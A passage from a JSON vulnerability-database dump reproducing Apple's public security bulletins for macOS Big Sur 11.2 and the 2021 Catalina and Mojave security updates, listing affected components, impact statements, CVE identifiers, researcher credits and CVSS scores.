Confiant\n\n**WebKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-1789: @S0rryMybad of 360 Vulcan Team\n\n**WebKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A remote attacker may be able to cause arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-1871: an anonymous researcher\n\nCVE-2021-1870: an anonymous researcher\n\n**WebRTC**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A port redirection issue was addressed with additional port validation.\n\nCVE-2021-1799: Gregory Vishnepolsky & Ben Seri of Armis Security, and Samy Kamkar\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge Junzhi Lu (@pwn0rz), Mickey Jin & Jesse Change of Trend Micro for their assistance.\n\n**libpthread**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\n**Login Window**\n\nWe would like to acknowledge Jose Moises Romero-Villanueva of CrySolve for their assistance.\n\n**Mail Drafts**\n\nWe would like to acknowledge Jon Bottarini of HackerOne for their assistance.\n\n**Screen Sharing Server**\n\nWe would like to acknowledge @gorelics for their assistance.\n\n**WebRTC**\n\nWe would like to acknowledge Philipp Hancke for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-18T06:14:03", "title": "About the security content of macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1774", "CVE-2021-1736", "CVE-2021-1753", "CVE-2021-1775", "CVE-2021-1818", "CVE-2020-29614", "CVE-2021-1871", "CVE-2021-1772", "CVE-2021-1763", "CVE-2021-1778", "CVE-2021-1743", "CVE-2021-1769", "CVE-2021-1761", "CVE-2021-1762", "CVE-2021-1802", "CVE-2021-1792", "CVE-2020-14155", "CVE-2021-1757", "CVE-2021-1744", "CVE-2021-1786", "CVE-2021-1791", "CVE-2020-29633", "CVE-2021-1773", "CVE-2021-1767", "CVE-2021-1758", "CVE-2021-1777", "CVE-2021-1771", "CVE-2021-1787", "CVE-2021-1760", "CVE-2019-20838", "CVE-2021-1768", "CVE-2020-27938", "CVE-2021-1870", "CVE-2020-27904", "CVE-2021-1746", "CVE-2021-1745", "CVE-2021-1785", "CVE-2021-1759", "CVE-2021-1737", "CVE-2021-1742", "CVE-2021-1741", "CVE-2021-1747", "CVE-2021-1790", "CVE-2021-1801", "CVE-2020-29608", "CVE-2020-27945", "CVE-2021-1799", "CVE-2021-1788", "CVE-2021-1782", "CVE-2021-1766", "CVE-2021-1783", "CVE-2021-1779", "CVE-2021-1797", "CVE-2021-1738", "CVE-2020-25709", "CVE-2020-15358", "CVE-2021-1754", "CVE-2021-1765", "CVE-2021-1793", "CVE-2021-1776", "CVE-2021-1789", "CVE-2020-27937", "CVE-2021-1764", "CVE-2021-1751", "CVE-2021-1750"], "modified": "2021-02-18T06:14:03", "id": "APPLE:HT212147", "href": "https://support.apple.com/kb/HT212147", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-08T22:05:12", "description": "# About the security content of macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave\n\nThis document describes the security content of macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave\n\nReleased February 1, 2021\n\n**Analytics**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\n**APFS**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A local user may be able to read arbitrary files\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-1797: Thomas Tempelmann\n\n**CFNetwork Cache**\n\nAvailable for: macOS Catalina 10.15.7 and macOS Mojave 10.14.6\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: An integer overflow was addressed with improved input validation.\n\nCVE-2020-27945: Zhuo Liang of Qihoo 360 Vulcan Team\n\n**CoreAnimation**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-1760: @S0rryMybad of 360 Vulcan Team\n\n**CoreAudio**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1747: JunDong Xie of Ant Security Light-Year Lab\n\n**CoreGraphics**\n\nAvailable for: macOS Mojave 10.14.6, macOS Catalina 10.15.7, macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-1776: Ivan Fratric of Google Project Zero\n\nEntry updated March 16, 2021\n\n**CoreMedia**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1759: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\n**CoreText**\n\nAvailable for: macOS Mojave 10.14.6, macOS Catalina 10.15.7, macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2021-1772: Mickey Jin (@patch1t) of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry updated March 16, 2021\n\n**CoreText**\n\nAvailable for: macOS Mojave 10.14.6, macOS Catalina 10.15.7, macOS Big Sur 11.0.1\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1792: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry updated March 16, 2021\n\n**Crash Reporter**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\n**Crash Reporter**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1787: James Hutchins\n\n**Crash Reporter**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A local user may be able to create or modify system files\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security\n\n**Directory Utility**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: A malicious application may be able to access private information\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2020-27937: Wojciech Regu\u0142a (@_r3ggi) of SecuRing\n\n**Endpoint Security**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1802: Zhongcheng Li (@CK01) of WPS Security Response Center\n\n**FairPlay**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious application may be able to disclose kernel memory\n\nDescription: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.\n\nCVE-2021-1791: Junzhi Lu (@pwn0rz), Qi Sun & Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**FontParser**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: Processing a maliciously crafted font may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1790: Peter Nguyen Vu Hoang of STAR Labs\n\n**FontParser**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted font may lead to arbitrary code execution\n\nDescription: This issue was addressed by removing the vulnerable code.\n\nCVE-2021-1775: Mickey Jin and Qi Sun of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry updated March 16, 2021\n\n**FontParser**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2020-29608: Xingwei Lin of Ant Security Light-Year Lab\n\n**FontParser**\n\nAvailable for: macOS Big Sur 11.0.1 and macOS Catalina 10.15.7\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1758: Peter Nguyen of STAR Labs\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2021-1783: Xingwei Lin of Ant Security Light-Year Lab\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1741: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1743: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, Xingwei Lin of Ant Security Light-Year Lab\n\n** \nImageIO**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1773: Xingwei Lin of Ant Security Light-Year Lab\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: An out-of-bounds read issue existed in the curl. This issue was addressed with improved bounds checking.\n\nCVE-2021-1778: Xingwei Lin of Ant Security Light-Year Lab\n\n**ImageIO**\n\nAvailable for: macOS Catalina 10.15.7, macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1736: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1785: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry updated March 16, 2021\n\n**ImageIO**\n\nAvailable for: macOS Mojave 10.14.6, macOS Catalina 10.15.7, macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1766: Danny Rosseau of Carve Systems\n\nEntry updated March 16, 2021\n\n**ImageIO**\n\nAvailable for: macOS Catalina 10.15.7, macOS Big Sur 11.0.1\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin of Ant-Financial Light-Year Security Lab\n\nEntry updated March 16, 2021\n\n**ImageIO**\n\nAvailable for: macOS Catalina 10.15.7, macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1742: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1746: Jeonghoon Shin(@singi21a) of THEORI, Mickey Jin & Qi Sun of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1754: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1774: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1777: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1793: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry updated March 16, 2021\n\n**ImageIO**\n\nAvailable for: macOS Big Sur 11.0.1 and macOS Catalina 10.15.7\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1737: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1738: Lei Sun\n\nCVE-2021-1744: Xingwei Lin of Ant Security Light-Year Lab\n\n**IOKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A logic error in kext loading was addressed with improved state handling.\n\nCVE-2021-1779: Csaba Fitzl (@theevilbit) of Offensive Security\n\n**IOSkywalkFamily**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1757: Pan ZhenPeng (@Peterpan0927) of Alibaba Security, Proteas\n\n**Kernel**\n\nAvailable for: macOS Catalina 10.15.7 and macOS Mojave 10.14.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue existed resulting in memory corruption. This was addressed with improved state management.\n\nCVE-2020-27904: Zuozhi Fan (@pattern_F_) of Ant Group Tianqiong Security Lab\n\n**Kernel**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1764: @m00nbsd\n\n**Kernel**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1782: an anonymous researcher\n\n**Kernel**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1750: @0xalsr\n\n**Login Window**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: An attacker in a privileged network position may be able to bypass authentication policy\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2020-29633: Jewel Lambert of Original Spin, LLC.\n\n**Messages**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: A privacy issue existed in the handling of Contact cards. This was addressed with improved state management.\n\nCVE-2021-1781: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added March 16, 2021\n\n**Messages**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A user that is removed from an iMessage group could rejoin the group\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1771: Shreyas Ranganatha (@strawsnoceans)\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1762: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry updated March 16, 2021\n\n**Model I/O**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: Processing a maliciously crafted file may lead to heap corruption\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2020-29614: ZhiWei Sun (@5n1p3r0010) of Topsec Alpha Lab\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved bounds checking.\n\nCVE-2021-1763: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted image may lead to heap corruption\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1767: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1745: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1753: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**Model I/O**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1768: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\n**NetFSFramework**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: Mounting a maliciously crafted Samba network share may lead to arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1751: Mikko Kentt\u00e4l\u00e4 (@Turmio_) of SensorFu\n\n**OpenLDAP**\n\nAvailable for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2020-25709\n\n**Power Management**\n\nAvailable for: macOS Mojave 10.14.6, macOS Catalina 10.15.7\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2020-27938: Tim Michaud (@TimGMichaud) of Leviathan\n\n**Screen Sharing**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Multiple issues in pcre\n\nDescription: Multiple issues were addressed by updating to version 8.44.\n\nCVE-2019-20838\n\nCVE-2020-14155\n\n**SQLite**\n\nAvailable for: macOS Catalina 10.15.7\n\nImpact: Multiple issues in SQLite\n\nDescription: Multiple issues were addressed with improved checks.\n\nCVE-2020-15358\n\n**Swift**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-1769: CodeColorist of Ant-Financial Light-Year Labs\n\n**WebKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1788: Francisco Alonso (@revskills)\n\n**WebKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2021-1765: Eliya Stein of Confiant\n\nCVE-2021-1801: Eliya Stein of Confiant\n\n**WebKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-1789: @S0rryMybad of 360 Vulcan Team\n\n**WebKit**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A remote attacker may be able to cause arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-1871: an anonymous researcher\n\nCVE-2021-1870: an anonymous researcher\n\n**WebRTC**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A port redirection issue was addressed with additional port validation.\n\nCVE-2021-1799: Gregory Vishnepolsky & Ben Seri of Armis Security, and Samy Kamkar\n\n**XNU**\n\nAvailable for: macOS Big Sur 11.0.1\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-30869: Apple\n\nEntry added September 23, 2021\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge Junzhi Lu (@pwn0rz), Mickey Jin & Jesse Change of Trend Micro for their assistance.\n\n**libpthread**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\n**Login Window**\n\nWe would like to acknowledge Jose Moises Romero-Villanueva of CrySolve for their assistance.\n\n**Mail Drafts**\n\nWe would like to acknowledge Jon Bottarini of HackerOne for their assistance.\n\n**Screen Sharing Server**\n\nWe would like to acknowledge @gorelics for their assistance.\n\n**WebRTC**\n\nWe would like to acknowledge Philipp Hancke for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 23, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-01T00:00:00", "type": "apple", "title": "About the security content of macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-20838", "CVE-2020-14155", "CVE-2020-15358", "CVE-2020-25709", "CVE-2020-27904", "CVE-2020-27937", "CVE-2020-27938", "CVE-2020-27945", "CVE-2020-29608", "CVE-2020-29614", "CVE-2020-29633", "CVE-2021-1736", "CVE-2021-1737", "CVE-2021-1738", "CVE-2021-1741", "CVE-2021-1742", "CVE-2021-1743", "CVE-2021-1744", "CVE-2021-1745", "CVE-2021-1746", "CVE-2021-1747", "CVE-2021-1750", "CVE-2021-1751", "CVE-2021-1753", "CVE-2021-1754", "CVE-2021-1757", "CVE-2021-1758", "CVE-2021-1759", "CVE-2021-1760", "CVE-2021-1761", "CVE-2021-1762", "CVE-2021-1763", "CVE-2021-1764", "CVE-2021-1765", "CVE-2021-1766", "CVE-2021-1767", "CVE-2021-1768", "CVE-2021-1769", "CVE-2021-1771", "CVE-2021-1772", "CVE-2021-1773", "CVE-2021-1774", "CVE-2021-1775", "CVE-2021-1776", "CVE-2021-1777", "CVE-2021-1778", "CVE-2021-1779", "CVE-2021-1781", "CVE-2021-1782", "CVE-2021-1783", "CVE-2021-1785", "CVE-2021-1786", "CVE-2021-1787", "CVE-2021-1788", "CVE-2021-1789", "CVE-2021-1790", "CVE-2021-1791", "CVE-2021-1792", "CVE-2021-1793", "CVE-2021-1797", "CVE-2021-1799", "CVE-2021-1801", "CVE-2021-1802", "CVE-2021-1818", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-30869"], "modified": "2021-02-01T00:00:00", "id": "APPLE:B42E67860AD9D9F5B9307A29A1189DF0", "href": "https://support.apple.com/kb/HT212147", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T22:02:53", "description": "# About the security content of Security Update 2021-004 Mojave\n\nThis document describes the security content of Security Update 2021-004 Mojave.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## Security Update 2021-004 Mojave\n\nReleased May 24, 2021\n\n**AMD**\n\nAvailable for: macOS Mojave\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30676: shrek_wzw\n\n**AMD**\n\nAvailable for: macOS Mojave\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30678: Yu Wang of Didi Research America\n\n**apache**\n\nAvailable for: macOS Mojave\n\nImpact: Multiple issues in apache\n\nDescription: Multiple issues in apache were addressed by updating apache to version 2.4.46.\n\nCVE-2021-30690: an anonymous researcher\n\n**AppleScript**\n\nAvailable for: macOS Mojave\n\nImpact: A malicious application may bypass Gatekeeper checks\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30669: Yair Hoffman\n\n**Core Services**\n\nAvailable for: macOS Mojave\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2021-30681: Zhongcheng Li (CK01)\n\n**CVMS**\n\nAvailable for: macOS Mojave\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30724: Mickey Jin (@patch1t) of Trend Micro\n\n**Graphics Drivers**\n\nAvailable for: macOS Mojave\n\nImpact: An out-of-bounds write issue was addressed with improved bounds checking\n\nDescription: A malicious application may be able to execute arbitrary code with kernel privileges.\n\nCVE-2021-30735: Jack Dates of RET2 Systems, Inc. (@ret2systems) working with Trend Micro Zero Day Initiative\n\nEntry added July 21, 2021\n\n**Heimdal**\n\nAvailable for: macOS Mojave\n\nImpact: A malicious application may cause a denial of service or potentially disclose memory contents\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30710: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Mojave\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1884: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Mojave\n\nImpact: Processing maliciously crafted server messages may lead to heap corruption\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1883: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Mojave\n\nImpact: A local user may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30697: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: macOS Mojave\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-30683: Gabe Kirkpatrick (@gabe_k)\n\n**ImageIO**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30687: Hou JingYi (@hjy79425575) of Qihoo 360\n\n**ImageIO**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted ASTC file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30705: Ye Zhang of Baidu Security\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Mojave\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: An out-of-bounds write issue was addressed with improved bounds 